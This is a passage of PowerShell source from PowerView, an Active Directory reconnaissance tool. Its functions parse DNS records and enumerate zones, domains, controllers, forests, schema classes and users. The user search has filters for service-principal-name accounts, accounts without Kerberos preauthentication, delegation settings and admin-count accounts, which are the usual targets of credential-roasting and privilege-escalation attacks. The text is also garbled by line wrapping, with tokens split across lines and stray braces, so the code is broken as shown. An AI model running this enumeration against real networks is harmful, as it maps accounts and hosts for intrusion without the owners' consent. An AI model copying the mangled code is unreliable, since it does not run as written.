[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')]
[CmdletBinding()]
Param(
[Byte[]]
$Raw
)

[Int]$Length = $Raw[0]
[Int]$Segments = $Raw[1]
[Int]$Index = 2
[String]$Name = ''

while ($Segments-- -gt 0)


{
[Int]$SegmentLength = $Raw[$Index++]
while ($SegmentLength-- -gt 0) {
$Name += [Char]$Raw[$Index++]
}
$Name += "."
}
$Name
}
}

PROCESS {

$RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
$UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)

$TTLRaw = $DNSRecord[12..15]

$Null = [array]::Reverse($TTLRaw)
$TTL = [BitConverter]::ToUInt32($TTLRaw, 0)

$Age = [BitConverter]::ToUInt32($DNSRecord, 20)


if ($Age -ne 0) {
$TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -
Second 0).AddHours($age)).ToString()
}
else {
$TimeStamp = '[static]'
}

$DNSRecordObject = New-Object PSObject

if ($RDataType -eq 1) {
$IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25],
$DNSRecord[26], $DNSRecord[27]
$Data = $IP
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
}

elseif ($RDataType -eq 2) {


$NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $NSName
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
}

elseif ($RDataType -eq 5) {


$Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $Alias
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
}

elseif ($RDataType -eq 6) {

$Data = $
([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
}
elseif ($RDataType -eq 12) {
$Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
$Data = $Ptr
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
}

elseif ($RDataType -eq 13) {

$Data = $
([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
}

elseif ($RDataType -eq 15) {

$Data = $
([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
}

elseif ($RDataType -eq 16) {


[string]$TXT = ''
[int]$SegmentLength = $DNSRecord[24]
$Index = 25

while ($SegmentLength-- -gt 0) {


$TXT += [char]$DNSRecord[$index++]
}

$Data = $TXT
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
}

elseif ($RDataType -eq 28) {

$Data = $
([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
}

elseif ($RDataType -eq 33) {

$Data = $
([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
}

else {
$Data = $
([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
}

$DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial'


$UpdatedAtSerial
$DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
$DNSRecordObject | Add-Member Noteproperty 'Age' $Age
$DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
$DNSRecordObject | Add-Member Noteproperty 'Data' $Data
$DNSRecordObject
}
}

function Get-DomainDNSZone {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DNSZone')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
$SearcherArguments = @{
'LDAPFilter' = '(objectClass=dnsZone)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$DNSSearcher1 = Get-DomainSearcher @SearcherArguments

if ($DNSSearcher1) {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne()
}
else { $Results = $DNSSearcher1.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Out = Convert-LDAPProperty -Properties $_.Properties
$Out | Add-Member NoteProperty 'ZoneName' $Out.name
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
$Out
}

if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Error disposing of the
Results object: $_"
}
}
$DNSSearcher1.dispose()
}

$SearcherArguments['SearchBasePrefix'] =
'CN=MicrosoftDNS,DC=DomainDnsZones'
$DNSSearcher2 = Get-DomainSearcher @SearcherArguments

if ($DNSSearcher2) {
try {
if ($PSBoundParameters['FindOne']) { $Results =
$DNSSearcher2.FindOne() }
else { $Results = $DNSSearcher2.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Out = Convert-LDAPProperty -Properties $_.Properties
$Out | Add-Member NoteProperty 'ZoneName' $Out.name
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
$Out
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSZone] Error disposing of the
Results object: $_"
}
}
}
catch {
Write-Verbose "[Get-DomainDNSZone] Error accessing
'CN=MicrosoftDNS,DC=DomainDnsZones'"
}
$DNSSearcher2.dispose()
}
}
}

function Get-DomainDNSRecord {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DNSRecord')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String]
$ZoneName,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
$SearcherArguments = @{
'LDAPFilter' = '(objectClass=dnsNode)'
'SearchBasePrefix' = "DC=$
($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$DNSSearcher = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher) {
if ($PSBoundParameters['FindOne']) { $Results =
$DNSSearcher.FindOne() }
else { $Results = $DNSSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
try {
$Out = Convert-LDAPProperty -Properties $_.Properties | Select-
Object name,distinguishedname,dnsrecord,whencreated,whenchanged
$Out | Add-Member NoteProperty 'ZoneName' $ZoneName

if ($Out.dnsrecord -is
[System.DirectoryServices.ResultPropertyValueCollection]) {

$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]


}
else {
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
}

if ($Record) {
$Record.PSObject.Properties | ForEach-Object {
$Out | Add-Member NoteProperty $_.Name $_.Value
}
}

$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
$Out
}
catch {
Write-Warning "[Get-DomainDNSRecord] Error: $_"
$Out
}
}

if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSRecord] Error disposing of the
Results object: $_"
}
}
$DNSSearcher.dispose()
}
}
}

function Get-Domain {

[OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
if ($PSBoundParameters['Credential']) {

Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'

if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
}
else {

$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -
Credential"
}

$DomainContext = New-Object
System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain,
$Credential.UserName, $Credential.GetNetworkCredential().Password)

try {

[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain'
does not exist, could not be contacted, there isn't an existing trust, or the
specified credentials are invalid: $_"
}
}
elseif ($PSBoundParameters['Domain']) {
$DomainContext = New-Object
System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {

[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not
exist, could not be contacted, or there isn't an existing trust : $_"
}
}
else {
try {

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch {
Write-Verbose "[Get-Domain] Error retrieving the current domain:
$_"
}
}
}
}
function Get-DomainController {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Computer')]
[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[Switch]
$LDAP,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] =
$Credential }

if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {


if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }

$Arguments['LDAPFilter'] =
'(userAccountControl:1.2.840.113556.1.4.803:=8192)'

Get-DomainComputer @Arguments
}
else {
$FoundDomain = Get-Domain @Arguments
if ($FoundDomain) {
$FoundDomain.DomainControllers
}
}
}
}

function Get-Forest {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
if ($PSBoundParameters['Credential']) {

Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"

if ($PSBoundParameters['Forest']) {
$TargetForest = $Forest
}
else {

$TargetForest = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -
Credential"
}

$ForestContext = New-Object
System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest,
$Credential.UserName, $Credential.GetNetworkCredential().Password)

try {
$ForestObject =
[System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$TargetForest'
does not exist, could not be contacted, there isn't an existing trust, or the
specified credentials are invalid: $_"
$Null
}
}
elseif ($PSBoundParameters['Forest']) {
$ForestContext = New-Object
System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
try {
$ForestObject =
[System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
catch {
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not
exist, could not be contacted, or there isn't an existing trust: $_"
return $Null
}
}
else {

$ForestObject =
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
if ($ForestObject) {

if ($PSBoundParameters['Credential']) {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain
$ForestObject.RootDomain.Name -Credential $Credential).objectsid
}
else {
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain
$ForestObject.RootDomain.Name).objectsid
}

$Parts = $ForestSid -Split '-'


$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}

function Get-ForestDomain {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] =
$Credential }

$ForestObject = Get-Forest @Arguments


if ($ForestObject) {
$ForestObject.Domains
}
}
}

function Get-ForestGlobalCatalog {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] =
$Credential }

$ForestObject = Get-Forest @Arguments

if ($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
}

function Get-ForestSchemaClass {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]

[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[Alias('Class')]
[ValidateNotNullOrEmpty()]
[String[]]
$ClassName,

[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] =
$Credential }

$ForestObject = Get-Forest @Arguments

if ($ForestObject) {
if ($PSBoundParameters['ClassName']) {
ForEach ($TargetClass in $ClassName) {
$ForestObject.Schema.FindClass($TargetClass)
}
}
else {
$ForestObject.Schema.FindAllClasses()
}
}
}
}

function Find-DomainObjectPropertyOutlier {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.PropertyOutlier')]
[CmdletBinding(DefaultParameterSetName = 'ClassName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName =
'ClassName')]
[Alias('Class')]
[ValidateSet('User', 'Group', 'Computer')]
[String]
$ClassName,

[ValidateNotNullOrEmpty()]
[String[]]
$ReferencePropertySet,

[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName =


'ReferenceObject')]
[PSCustomObject]
$ReferenceObject,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$UserReferencePropertySet =
@('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','co
untrycode','description',
'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype
','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockoutti
me','logoncount','memberof','msds-
supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objec
tsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useracc
ountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreat
ed')

$GroupReferencePropertySet =
@('admincount','cn','description','distinguishedname','dscorepropagationdata','grou
ptype','instancetype','iscriticalsystemobject','member','memberof','name','objectca
tegory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','s
ystemflags','usnchanged','usncreated','whenchanged','whencreated')

$ComputerReferencePropertySet =
@('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','d
istinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticals
ystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logo
ncount','msds-
supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objec
tsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','prim
arygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','
useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')

$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] =
$LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }

if ($PSBoundParameters['Domain']) {
if ($PSBoundParameters['Credential']) {
$TargetForest = Get-Domain -Domain $Domain | Select-Object -
ExpandProperty Forest | Select-Object -ExpandProperty Name
}
else {
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential
| Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest
'$TargetForest' for target domain '$Domain'"
}

$SchemaArguments = @{}
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] =
$Credential }
if ($TargetForest) {
$SchemaArguments['Forest'] = $TargetForest
}
}

PROCESS {

if ($PSBoundParameters['ReferencePropertySet']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -
ReferencePropertySet"
$ReferenceObjectProperties = $ReferencePropertySet
}
elseif ($PSBoundParameters['ReferenceObject']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property
names from -ReferenceObject to use as the reference property set"
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -
MemberType NoteProperty | Select-Object -Expand Name
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -
Last 1
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated
ReferenceObjectClass : $ReferenceObjectClass"
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default
reference property set for the object class '$ClassName'"
}

if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {


$Objects = Get-DomainUser @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $UserReferencePropertySet
}
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $GroupReferencePropertySet
}
}
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq
'Computer')) {
$Objects = Get-DomainComputer @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $ComputerReferencePropertySet
}
}
else {
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
}

ForEach ($Object in $Objects) {


$ObjectProperties = Get-Member -InputObject $Object -MemberType
NoteProperty | Select-Object -Expand Name
ForEach($ObjectProperty in $ObjectProperties) {
if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName'
$Object.SamAccountName
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
$Out
}
}
}
}
}

function Get-DomainUser {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name',
'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,

[Switch]
$SPN,

[Switch]
$AdminCount,
[Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
$AllowDelegation,

[Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
$DisallowDelegation,

[Switch]
$TrustedToAuth,

[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
[Switch]
$PreauthNotRequired,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)

$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}

New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type


([array])
}

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
}

PROCESS {

if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {


New-DynamicParameter -CreateVariables -BoundParameters
$PSBoundParameters
}

if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainUser] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
if (-not $UserSearcher) {
Write-Warning "[Get-DomainUser] Unable to retrieve
domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}
[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() |
ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28',
'(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$UserDomain = $ConvertedIdentityInstance.SubString(0,
$ConvertedIdentityInstance.IndexOf('/'))
$UserName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$UserName)"
$SearcherArguments['Domain'] = $UserDomain
Write-Verbose "[Get-DomainUser] Extracted domain
'$UserDomain' from '$IdentityInstance'"
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}

if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['SPN']) {
Write-Verbose '[Get-DomainUser] Searching for non-null service
principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who can be
delegated'

$Filter += '(!
(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
}
if ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who are
sensitive and not trusted for delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainUser] Searching for users that are
trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['PreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do
not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainUser] Using additional LDAP filter:
$LDAPFilter"
$Filter += "$LDAPFilter"
}

$UACFilter | Where-Object {$_} | ForEach-Object {


if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!
(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter +=
"(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}

$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"

if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne()


}
else { $Results = $UserSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {

$User = $_
